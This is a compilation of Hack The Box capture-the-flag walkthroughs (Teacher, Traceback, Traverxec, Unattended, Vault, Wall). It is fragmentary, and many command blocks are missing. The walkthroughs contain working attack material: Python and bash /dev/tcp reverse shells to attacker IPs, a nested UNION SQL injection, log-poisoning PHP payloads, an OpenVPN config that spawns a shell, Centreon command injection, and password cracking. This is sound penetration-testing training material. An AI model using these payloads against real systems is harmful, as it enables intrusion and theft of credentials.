Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
Database changeds
MariaDB [moodle]>show tables;
show tables;
+----------------------------------+
| Tables_in_moodle |
+----------------------------------+
[...]
| mdl_user |
Page 11 / 16
[...]
+----------------------------------+
388 rows in set (0.01 sec)
The details above show that the MD5 password hash of the backup user Giovannibak are
different from the other password hashes.
A dictionary based attack is performed in order to crack the MD5 password hash of the
aforementioned user, resulting in the following credentials to be discovered:
Giovannibak:7a860966115182402ed06375cf0a22af:expelled
Page 12 / 16
Applicable optimizers:
* Zero-Byte
* Precompute-Init
* Precompute-Merkle-Demgard
* Meet-In-The-Middle
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
Session..........: hashcat
Status...........: Cracked
Hash.Type........: MD5
Hash.Target......: 7a860966115182402ed06375cf0a22af
Time.Started.....: Tue Apr 16 10:47:07 2019 (0 secs)
Time.Estimated...: Tue Apr 16 10:47:07 2019 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 2317.8 kH/s (0.38ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Page 13 / 16
Progress.........: 956439/14343297 (6.67%)
Rejected.........: 23/956439 (0.00%)
Restore.Point....: 955415/14343297 (6.66%)
Candidates.#1....: ezra23 -> ethanwa
HWMon.Dev.#1.....: N/A
These credentials are then found to be valid for the user giovanni within the system, therefore
the content of the user flag can be gained.
www-data@teacher:/home$ ls -l
ls -l
total 4
drwxr-x--- 4 giovanni giovanni 4096 Nov 4 19:47 giovanni
www-data@teacher:/home$ cd giovanni
cd giovanni
bash: cd: giovanni: Permission denied
www-data@teacher:/home$ su - giovanni
su - giovanni
Password: expelled
Page 14 / 16
Post-Exploitation
The session as user giovanni shows that two folders are available in the home directory. The
directory courses contains answers of algebra tests, and the directory tmp contains an archived backup
of courses and an extracted directory of the archived file. The backup process is handled by a cronjob
with user root.
Further enumeration of the system shows that the /usr/bin/ directory contains a file called backup.sh.
Above is the content the script, which instructs the system to:
The aforementioned steps show that the script can be leveraged in order to retrieve the content of the
/root folder and gain the root flag. The courses d
irectory can be renamed or deleted due to weak
permission, and be replaced with a symlink pointing to the /root directory, where the script would then
create an archive of the content and extract it into /home/giovanni/work/tmp.
Page 15 / 16
giovanni@teacher:~/work$ ls -l
lrwxrwxrwx 1 giovanni giovanni 5 Apr 16 17:00 courses
drwxr-xr-x 3 giovanni giovanni 4096 Jun 27 2018 tmp
giovanni@teacher:~/work$ mv courses courses.bak
mv courses courses.bak
giovanni@teacher:~/work$ ls -l
ls -l
total 8
drwxr-xr-x 3 giovanni giovanni 4096 Jun 27 2018 courses.bak
drwxr-xr-x 3 giovanni giovanni 4096 Jun 27 2018 tmp
giovanni@teacher:~/work$ ln -s /root courses
ln -s /root courses
giovanni@teacher:~/work$ ls -l
ls -l
total 8
lrwxrwxrwx 1 giovanni giovanni 5 Apr 16 17:00 courses -> /root
drwxr-xr-x 3 giovanni giovanni 4096 Jun 27 2018 courses.bak
drwxr-xr-x 3 giovanni giovanni 4096 Jun 27 2018 tmp
Once the cronjob runs the script, it is then possible to gain the root flag.
giovanni@teacher:~/work$ cd tmp
cd tmp
giovanni@teacher:~/work/tmp$ ls -l
ls -l
total 8
-rwxrwxrwx 1 root root 150 Apr 16 17:01 backup_courses.tar.gz
drwxrwxrwx 3 root root 4096 Apr 16 17:01 courses
giovanni@teacher:~/work/tmp$ cd courses
cd courses
giovanni@teacher:~/work/tmp/courses$ ls -l
ls -l
total 8
drwxrwxrwx 2 root root 4096 Jun 27 2018 algebra
-rwxrwxrwx 1 root root 33 Jun 27 2018 root.txt
giovanni@teacher:~/work/tmp/courses$ cat root.txt
cat root.txt
4f3a83b42ac7723a508b8ace7b8b1209
Page 16 / 16
Traceback
23th March 2020 / Document No D20.100.68
Difficulty: Easy
Classification: Official
Synopsis
Traceback is an easy difficulty machine that features an Apache web server. A PHP web shell
uploaded by a hacker is accessible and can be used to gain command execution in the context of
the webadmin user. This user has the privilege to run a tool called luvit , which executes Lua
code as the sysadmin user. Finally, the Sysadmin user has write permissions to the update-motd
file. This file is run as root every time someone connects to the machine through SSH. This is
used to escalate privileges to root.
Skills Required
Enumeration
Lua coding
Skills Learned
SSH Motd Editing
Enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.181 | grep ^[0-9] | cut -d '/' -f
1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.181
The scan reveals that SSH and Apache are available on their default ports. There is a website with
the title Help us , let's check it out in a web browser.
The website has been hacked, and the message refers to a backdoor being present. Viewing the
source code of the page we can see the following comment.
<!--Some of the best web shells that you might need ;)-->
So it seems the hacker has left a web shell on the website. We also run a GoBuster scan, but this
doesn't reveal any interesting files.
Foothold
Searching for the above HTML comment bring us to this GitHub repo, which contains various well
known web shells. In order to test which ones exist, we can navigate to Find File on GitHub,
copy the file names and paste them in a text file.
alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
wso2.8.5.php
We find that smevk.php does exist. The web shell requires a username and a password in order
to access it. Examination of the webshell source reveals that the default credentials are admin :
admin . This works and we now have access to the shell.
At the bottom-left of the page there is the functionality to execute system commands.
Reverse Shell
The version of Netcat on the machine doesn't support the -e flag. Let's see if Python is installed:
which python . This doesn't return any output, which means Python 2 is not installed. However,
which python3 returns /usr/bin/python3 . We can use this to get a reverse shell:
python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec
t(("10.10.14.38",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' &
Start a Netcat listener and input the Python command in the code execution part of the page.
nc -lvp 1234
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.
We can also view the user's bash history at /home/webadmin/.bash_history , which reveals the
following. It seems we are following in the footsteps of the hack, who didn't remove traces of
their presence.
nano privesc.lua
sudo -u sysadmin /home/sysadmin/luvit privesc.lua
rm privesc.lua
sudo -l
luvit is a tool that executes lua code. Since we can run it as sysadmin , it is possible to get a
shell as this user with the commands below.
We can use bash -i to get a better shell after executing the lua code, and gain the user.txt in
/home/sysadmin/ .
Privilege Escalation
SSH
It would now be a good idea to generate SSH credentials for the sysadmin user, in order to
upgrade our shell. We can generate them locally with ssh-keygen . We can use the default values.
Copy the contents of id_rsa.pub and input this into /home/sysadmin/.ssh/authorized_keys .
echo "ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQCWXfZJrYB8Gcb1Bz2xDdytY5zAVIapfJwKXxH3nCSLfv2zOsjL
EJ7vb4T95JkuKpcaHSSN2wWLtaBIISlWjRXcZ2ChbnzTwde2Tt4fEfISkxHjPCG9rXZpOh3Eptp/Uy1i
LCcj/0KM9+ohJrSaj+Nw5msZ8G+ZKzXeQJk96VMIhkR6lkZXDri4trbwmR/4AYKo5UZA4dQGsgis0yOG
sr3xq2a7lou0tjQsf+WJVCTEaHYleRceDCWOF6x2laFRSMFtV73+einY4gohCX3QNe5lTeOJoYhzo4Ju
MRkZbuWHjbpkdJbYAEYFtBrVo7daBMeFHTGrLRyIt7iY7qF3p21H" >>
/home/sysadmin/.ssh/authorized_keys
After setting the permissions of id_rsa to 400, we gain access over SSH.
pspy
In order to enumerate the system processes we can use PsPy64. We can upload it on the server
using our Apache server. Enter the following commands on our local machine:
pspy reveals reveals the following command is being run on the server every 30 seconds.
MOTD
We can check the permissions of those folders. It seems that the group owner of /etc/update-
motd.d/ is sysadmin .
ls -al /etc/update-motd.d/
The files inside that folder and specifically 00-header are responsible for what message appears
when you SSH into the machine. We find the following line, which appeared when we logged into
the machine.
Any code in that file will be run as the root account since the ssh-server service is run as root.
Therefore we can add malicious code into that file, which will get executed by the next SSH
session. We will have to do this quickly, as we saw from pspy that the files are restored every 30
seconds.
python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec
t(("10.10.14.38",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' &
We use & to background the task, so as not to block the SSH server. Without backgrounding the
task, the server would wait for the execution of the code to finish (when the shell was closed),
which would block SSH for other users.
nc -lvp 4444
ssh -i id_rsa [email protected]
Difficulty: Easy
Classification: Official
Synopsis
Traverxec is an easy Linux machine that features a Nostromo Web Server, which is vulnerable to
Remote Code Execution (RCE). The Web server configuration files lead us to SSH credentials,
which allow us to move laterally to the user david . A bash script in the user's home directory
reveals that the user can execute journalctl as root. This is exploited to spawn a root shell.
Skills Required
Enumeration
Metasploit
Password Cracking
Skills Learned
SSH Key Cracking
GTFOBins
Enumeration
Let's begin by running an Nmap scan.
The scan reveals ports 22 and 80 to be open. Nmap reports the http-server-header to be
nostromo 1.9.6 , which means that the box is running the Nostromo HTTP server.
Nostromo
Nostromo or nhttpd is an open source web server.
The webpage does not seem to show anything interesting, and a Gobuster scan failed to find
anything useful.
Foothold
Manual Exploitation
A bit of research yields that nostromo version 1.9.6 has a Remote Code Execution vulnerability.
Let's download the python exploit and execute it as follows.
In order to get a reverse shell we can use Netcat. Let's start a Netcat listener on our local
machine.
nc -lvp 1234
Metasploit
We can also exploit the vulnerability using the Metasploit module. Let's start Metasploit and try to
exploit it.
msfconsole
msf > use exploit/multi/http/nostromo_code_exec
msf > set rhosts 10.10.10.165
msf > set lhost 10.10.14.20
msf > run
The lhost and rhost values are set as required and the module is run.
The exploitation was successful and a shell is returned.
TTY
Next, a TTY shell can be spawned using python .
The file nhttpd.conf and .htpasswd seem interesting. The .htpasswd contains a password
hash, which is crackable, but it turns out to be of no use.
The HOMEDIRS section determines that there might be a public_www folder in the user's home
directory. The home directory of the user is not readable, however public_www is found to be
accessible. The folder contains a protected-file-area sub-folder.
ls -al /home/david/public_www/
ls -al /home/david/public_www/protected-file-area
Enumeration of the folder reveals some backed up SSH keys. Let's transfer them to our box using
netcat. Run the following command locally to receive the file.
Next, run the following command on the server to complete the transfer.
The archive is found to contain SSH keys out of which, the private key id_rsa can be potentially
be used to login as david .
However, the private key is encrypted and needs a password. Let's use john to try and crack it.
First, extract the hash from the RSA key using ssh2john .
This reveals the password to be hunter , which we use to SSH into the machine.
cat server-stats.sh
The last line is interesting as it executes journalctl using sudo. Let's run the script to see the
output.
./servers-stats.sh
The script returns the last 5 lines of the nostromo service logs using journalctl. This is exploitable
because journalctl invokes the default pager, which is likely to be less . The less command
displays output on the user's screen and waits for user input once the content is displayed. This
can be exploited by running a shell command.
The command above will invoke less , after which we can run shell commands by prefixing ! .
Let's try executing /bin/bash .
!/bin/bash
The execution was successful and root shell is spawned. The root flag is located in /root/ .
Unattended
30th May 2019 / Document No D19.100.34
Prepared By: MinatoTW
Machine Author: guly
Difficulty: Medium
Classification: Official
Page 1 / 25
SYNOPSIS
Unattended is a medium difficulty Linux box which needs a good knowledge of SQL and its
programming flaws. A path traversal on the web server can be exploited to get the source code
of the PHP pages. A SQL injection flaw is found, which can be exploited using nested unions to
gain LFI. The LFI can then be leveraged to RCE via log files or sessions file. Database access
allows the www user to change the configuration and inject commands into a cronjob running as
a user. The user is a member of the grub group, which has access to the kernel image through
which the root password can be obtained.
Page 2 / 25
ENUMERATION
NMAP
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.126 | grep ^[0-9] | cut -d
'/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.126
We see HTTP and HTTPS open on their respective ports and the server is Nginx. Nmap found the
vhost to be www.nestedflanders.htb from the SSL certificate. Let’s add it to the hosts file.
Page 3 / 25
The same behaviour is found on going to the HTTPS page. However, if we browse to the vhost
www.nestedflanders.htb found earlier we see the default apache page. Let’s run a gobuster with
common PHP file names from seclists.
gobuster -t 50 -w Common-PHP-Filenames.txt -u
https://www.nestedflanders.htb/ -k
It finds index.php, looks like the server had two index files, index.html and index.php and first
preference was given to index.html which is normal behaviour. Browsing to /index.php we see a
new page.
Page 4 / 25
GOBUSTER
gobuster -t 50 -w directory-list-2.3-medium.txt -u
https://www.nestedflanders.htb/ -k
It says the dev site has been moved to its own server. One common misconfiguration in nginx is
the alias configuration. Named aliases are used to replace the alias with another file or directory
on the server. When an alias isn’t appended with a ‘/’ it leads to a path traversal vulnerability.
More information can be found here.
Page 5 / 25
PATH TRAVERSAL
Let’s check if the server is vulnerable to path traversal. Append ../ to the URL and send the
request.
We get a 403 request which is normal as this might be the /var/ folder. Following this, if we add
html/ to the URL we should land at the index page.
It’s seen that we were able to access the index.html page by using the path traversal because the
server didn’t redirect us to the root directory. Let’s try to view index.php from here.
Adding index.php to the URL we see that we can access it directly without getting it executed.
Page 6 / 25
Download the file and open it up.
Looking at the top we find credentials for the database which can be saved for later. Let’s review
what the functions in the script do.
function getTplFromID($conn) {
global $debug;
$valid_ids = array (25,465,587);
if ( (array_key_exists('id', $_GET)) && (intval($_GET['id']) ==
$_GET['id']) && (in_array(intval($_GET['id']),$valid_ids)) ) {
} else {
$sql = "SELECT name FROM idname where id = '25'";
}
if ($debug) { echo "sqltpl: $sql<br>\n"; }
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$ret = $row['name'];
}
} else {
$ret = 'main';
}
if ($debug) { echo "rettpl: $ret<br>\n"; }
return $ret;
Page 7 / 25
The first function getTplFromID takes in the value for ID from the GET parameter id. There’s an
array of valid IDs 25, 465, 587 which from the pages selected are main, about and contact
templates. The script checks if the ID is valid else the default ID is set to 25. Then it uses the id to
select the template name from the idname table. Once the query is executed the template name
is returned, or else the template main is returned. Looking at the second function:
function getPathFromTpl($conn,$tpl) {
global $debug;
$sql = "SELECT path from filepath where name = '".$tpl."'";
if ($debug) { echo "sqlpath: $sql<br>\n"; }
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$ret = $row['path'];
}
}
if ($debug) { echo "retpath: $ret<br>\n"; }
return $ret;
}
The getPathFromTpl function takes in the template as the parameter. It then selects the path of
the template file which is stored in the filepath table.
$tpl = getTplFromID($conn);
$inc = getPathFromTpl($conn,$tpl);
?>
Then the script calls both the functions to obtain the template requested by the user. Looking at
the functions we can guess the database schema to be like this:
Page 8 / 25
It could be that the column name is the foreign key to the Filepath table, and they could be in a
one-to-one relationship. This is confirmed in the PHP code where the page performs a query by
doing an inner join and selecting the id and name.
Our objective is to make the page include a file path supplied by us through the path column.
Looking at the PHP code it’s pretty clear that there is no filtering in place. So we can inject SQL
queries in the URL parameter. Let’s try to replicate this on a local mysql installation.
Once the database is created go ahead and create tables to replicate the box.
Page 9 / 25
Now the tables are set up almost like the actual database.
Let’s try to inject it now. The page takes the id parameter from the get request to select the
template name. We can abuse the UNION operator to achieve this. Using the UNION operator we
can select any string along with the template name. For example:
select name from idname where id = ' 25' union select ' HTB' ;
select name from idname w here id = ' 25' union select ' HTB' LIMIT 1,1 ;
It’s seen we were able to select HTB instead of “main” by abusing UNION and LIMIT.
Page 10 / 25
Let’s see how we can do the same with the filepath table.
select path from filepath where name = 'main' union select '/etc/passwd'
LIMIT 1,1;
We crafted a query to select the passwd file instead of the path to main.php. Now we just need to
combine both these queries to create our injection payload. The final payload will look something
like this:
25' union select "main' union select '/etc/passwd' LIMIT 1,1;" LIMIT 1,1;
Let’s break it down. The entire payload first goes into the getTplFromID function which would
look like:
select name from idname where id = '25' union select "main' union select
'/etc/passwd' LIMIT 1,1;" LIMIT 1,1;
Resulting in:
Page 11 / 25
The selected query will now go to getPathFromTpl function, it’ll look like:
Using which we were able to nest the queries creating a nested UNION select. The final payload
to try on the web page is:
25' union select "main' union select '/etc/passwd' LIMIT 1,1;-- -" LIMIT
1,1;-- -
We need to add comments to ignore the rest of the query. Let’s now try this on the webpage.
Page 12 / 25
FOOTHOLD
Now that we have LFI we can leverage it to RCE by using nginx log file poisoning. Usually the
access.log file logs the user-agent. We can change this using Burp and get RCE. The usual
location of the nginx access log is at /var/log/nginx/access.log.
We see the response containing the logs of the requests and user agents. Let’s change the user
agent to:
Page 13 / 25
Now urlencode the payload and send the request.
We see that we’re the www-data user. Let’s use a command for reverse shell now. To avoid bad
characters we need to encode the payload as base64 then executed it.
<?php system('echo
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNi80NDMgMD4mMQ==| base64 -d|
bash'); ?>
Forward the request and start a listener. Sending the request once again should trigger the
reverse shell. However, we don’t get a shell. Let’s check the firewall rules to see what ports are
allowed.
Page 14 / 25
Change the User agent to:
In the response we see that only ports 80 and 443 are allowed outbound. So, from here on we’ll
have to use only these two ports.
Page 15 / 25
Send the request again and a shell should be received at the listener.
ALTERNATE METHOD
Another way to achieve RCE is through PHP session files. These files are usually stored at
/var/lib/php/sessions/sess_<PHPSESSID>. Let’s view them with:
We see our session in the response. Let’s add a dummy cookie with PHP code so that we can
execute it.
Page 16 / 25
Note: Make sure there’s no ‘;’ in the payload as it might break the cookie.
Now let’s get a reverse shell like earlier. Change the cookie to:
Send the request and start a listener. Then resend it to trigger the shell.
Page 17 / 25
As there’s no python or python3 on the box we can use the script command to get a pty shell.
Page 18 / 25
LATERAL MOVEMENT
Now that we have a shell let’s look into the database by using the credentials from earlier.
Looking at the tables we see config tables. Let’s look at the data.
There are various kinds of values in the database, of which the “checkrelease” row sticks out.
There’s also a path for sendmail which can be changed in case a user executes it.
Maybe it's being used by some kind of cron to read and then execute the file. Let’s change it to a
reverse shell command.
Page 19 / 25
And after a while a shell should be received.
Going back and looking at the table again we see that the path was replaced again.
Page 20 / 25
PRIVILEGE ESCALATION
ENUMERATION
Looking at the user groups, we see that he’s a member of the group “grub”. Looking at the
Debian documentation we see that grub isn’t a standard group.
There’s just one file and it’s the kernel image. Let’s transfer this over. There’s no nc on the box
but we can use tcp file to transfer it.
Wait for a while for the transfer to finish as it is a large file. Once complete, compare the MD5
hash of the files.
Page 21 / 25
INSPECTING KERNEL IMAGE
Looking at the file info we see that it’s a gzip compressed file.
Using zcat we decompress the archive and then pipe it to cpio which copies the files from it.
Once done we should be left with the files and folders from the image. Let’s find strings like
“password” in all the files.
This command will recursively search for all files with password in it and then ignore the binary
files.
Page 22 / 25
Jumping to line 300 we come across the comment and a command.
According to the comment the luks password is the same as the root password. The command:
generates the password from the uinitrd binary and then passes it to the $cryptopen command
which can be found in the script.
It is the cryptsetup command which is used to open a Luks encrypted disk. So the root password
must the string obtained by running:
/sbin/uinitrd c0m3s3f0ss34nt4n1
Let’s try that. Go back to the folder with the extracted contents and run the command.
Page 23 / 25
Let’s analyse what the binary is doing using strace which traces system calls made by a binary.
We see that the binary reads from /etc/hostname and then outputs the string based on it. So the
host on which it is executed must be a factor in determining the password. Let’s transfer the
binary to the box and try again.
Page 24 / 25
Let’s try to su with this.
Page 25 / 25
Vault
3rd April 2019 / Document No D19.100.12
Prepared By: egre55
Machine Author: nol0gz
Difficulty: Medium
Classification: Official
Page 1 / 13
SYNOPSIS
Vault is medium to hard difficulty machine, which requires bypassing host and file upload
restrictions, tunneling, creating malicious OpenVPN configuration files and PGP decryption.
Page 2 / 13
Enumeration
Nmap
Nmap output reveals that SSH and an Apache web server are available. Visual inspection of the
website reveals some text about a service that is being offered.
Page 3 / 13
Wfuzz
Cewl is used to generate a wordlist based on words found on the site, and wfuzz finds the
directory "sparklays".
Navigating to this page results in a 403 Forbidden, so enumeration with wfuzz continues.
Page 4 / 13
The page "admin.php", directory "design" and subdirectory "uploads" have been found.
After sending this request to Burp, and changing the Host header value to "localhost", the admin
page is accessible.
Page 5 / 13
Foothold (192.168.122.1)
The "Design Settings" page provides functionality to upload a logo, although there are
restrictions on the file extension. However, php5 extensions are permitted.
There is a user "dave", and enumeration reveals SSH credentials and other useful information on
their desktop.
SSH: dave:Dav3therav3123
Key: itscominghome
Server: 192.168.122.4
Page 6 / 13
SSH Port Forwarding
Page 7 / 13
DNS (192.168.122.4)
The webpage contains functionality to edit and test an OpenVPN configuration file.
This reveals that the .ovpn file has been chmod 777, and is editable by www-data.
Page 8 / 13
An informative blog post by Jacob Baines details the exploitation of OpenVPN configuration files.
https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d
38da
Using this as reference, the payload below is created, and after clicking "Test VPN", and reverse
shell is received as root@DNS, and the user flag on Dave’s desktop can be captured.
remote 192.168.122.1
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
nobind
up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.122.1/1337 0<&1 2>&1&'"
SSH credentials to access 192.168.122.4 are found in Dave’s home directory. Dave is able to run
any command as root using sudo.
dave:dav3gerous567
Page 9 / 13
Vault (192.168.5.2)
The file /var/log/auth.log is examined, and interesting nmap and ncat commands targeting
192.168.5.2 are visible.
Nmap reveals the closed ports 53 and 4444. Specifying either port 53 or 4444 as the source port
reveals that port 987 is open.
ncat (with source port set to 53) reveals that SSH is listening on port 987.
Page 10 / 13
ncat -l 4444 --sh-exec "ncat 192.168.5.2 987 -p 53" &
It is now possible to ssh to Vault as Dave using the password dav3gerous567, specifying port
4444.
Page 11 / 13
PGP Encrypted Root Flag
Enumeration of Dave’s home directory reveals a PGP encrypted root flag. GPG can be used to
decrypt this, and it is installed on all hosts. However, there are no keys on Vault or DNS. The ID of
the key used to encrypt the file is "D1EB1F03".
Page 12 / 13
A further ncat listener is established in order to transfer to the file from Vault to DNS using SCP.
scp [email protected]:/home/dave/root.txt.gpg .
The file is successfully decrypted using the passphrase "itscominghome" and the root flag is
captured.
Page 13 / 13
Wall
05th December 2019 / Document No D19.100.56
Prepared By: MinatoTW
Machine Author: askar
Difficulty: Medium
Classification: Official
Page 1 / 17
SYNOPSIS
Wall is a medium difficulty Linux machine running a vulnerable version of Centreon network
monitoring software, which can be accessed through HTTP Verb Tampering. The login page can
be brute-forced to gain Admin access, which is exploited to gain RCE. A compiled python file is
decompiled to extract user credentials This provides access to an SUID, resulting in a root shell.
Page 2 / 17
Enumeration
Nmap
Page 3 / 17
Apache
Browsing to port 80, we come across the default Apache page.
Gobuster
The pages aa.php and panel.php don’t seem to be significant. However, the /monitoring folder
requests authentication.
Page 4 / 17
Verb Tampering
It is possible to misconfigure Apache, such that authentication is only requested for a particular
method, leading to a basic authentication bypass. Start Burp and intercept the request to
/monitoring, then hit Ctrl+R to send it to Repeater. Change the request method to POST and send
the request.
The page didn’t return a “401 Unauthorized” error and is redirecting us to the Centreon login
page at /centreon, which means the bypass was successful.
Page 5 / 17
Centreon is a network monitoring software, which by default has the credentials admin /
centreon as referenced here. However, trying those credentials results in authentication failure.
Looking at the request, we find that it uses a CSRF token, which means that we can’t bruteforce it
directly. The CSRF token can be found in a hidden field in the HTML source.
We can write a simple python script to automatically grab this token and authenticate. We can
start with the top-passwords-shortlist from seclists before attempting larger wordlists.
#!/usr/bin/python3
import requests
from bs4 import BeautifulSoup
Page 6 / 17
url = 'http://10.10.10.157/centreon/index.php'
s = requests.session()
page = s.get(url)
soup = BeautifulSoup(page.content, 'html.parser')
token = soup.find('input', attrs = { 'name' : 'centreon_token' })['value']
The script uses BeautifulSoup to parse the page and extract the CSRF token, and then sends
login requests with passwords from the wordlist.
Page 7 / 17
The password for admin is revealed to be “password1”. Logging in and browsing to the “About”
page we find the version to be 19.04.
Foothold
CVE 2019-13024
The technical details about the vulnerability can be found here. An attacker can inject OS level
commands due to a lack of sanitization in the “nagios_bin” input parameter while configuring
pollers. Click on the settings on the left side and go to Pollers > Pollers. An existing poller named
“Central” should be seen.
Click on the name to view the configuration settings, and then change the “Monitoring Engine
Binary” to “id;”.
Page 8 / 17
Next, click on “Save” at the bottom to save the configuration.
with the parameters poller, debug and generate should execute the binary. Let’s try that.
As expected, the “id” command executed successfully and the output was returned. Let’s try
executing a bash reverse shell encoded as base64 to avoid bad characters.
Page 9 / 17
The input command would be:
Enter this command into the “Monitoring Engine Binary” input field.
This means that there might be an additional protection or Web Application Firewall (WAF)
processing the input. Let’s try replacing spaces with ${IFS} and resending the request.
echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzQ0NDQgMD4mMQo=|base64${IFS}-d|b
Page 10 / 17
ash;
This time there was no error and sending a request to generateFiles.php should give us a shell.
CVE-2019-16405 / CVE-2019-17501
Centreon allows users to execute custom commands based on their preferences. Go to Settings
> Commands > Miscellaneous and click on “Add” to add a new command.
Enter “ps aux” into the “Command Line” field and the IP address to the box in the
$HOSTADDRESS$ field. Then click on the blue arrow on the right to execute the command on
the box.
Page 11 / 17
A new window opens and the process running on the box are listed. We didn’t receive a “403
Forbidden” error as the command was sent through the GET request while the WAF must be
configured to check only POST requests. This behaviour can be verified by clicking on “Save” at
the bottom, which should throw an error.
The execution failed because the application escaped the pipes “\|” and converted it to a string.
Instead, we can try downloading a shell and executing it. Create a file with the contents:
Page 12 / 17
wget 10.10.14.3/pwn -O /tmp/pwn
Clicking on the blue arrow should execute the command and return a shell like earlier.
Page 13 / 17
Lateral Movement
The file is a compiled python file, which generally have .pyc extension.
Running the file with python just returns “Done”. We can encode the file into base64 and then
copy and decode it locally.
This can be decompiled using uncompyle6, which can be installed using pip.
Page 14 / 17
Now rename the file and use uncompyle to decompile it.
Page 15 / 17
password += chr(ord('t'))
password += chr(ord('r'))
password += chr(ord('o'))
password += chr(ord('n'))
password += chr(ord('g'))
password += chr(ord('!'))
transport.connect(username=username, password=password)
sftp_client = paramiko.SFTPClient.from_transport(transport)
sftp_client.put('/var/www/html.zip', 'html.zip')
print '[+] Done !'
# okay decompiling backup.pyc
The script creates a password and then use it to transfer html.zip via SFTP. The password can be
extracted from the script by pasting the code into interpreter.
The output string can be used to SSH into the box as shelby.
Page 16 / 17
Privilege Escalation
We come across come across this vulnerability for Screen 4.5.0. We can download and execute
the script on the box directly, as GCC is installed.
Once the transfer completes, make the file executable and run the exploit, which should result in
a root shell.
Page 17 / 17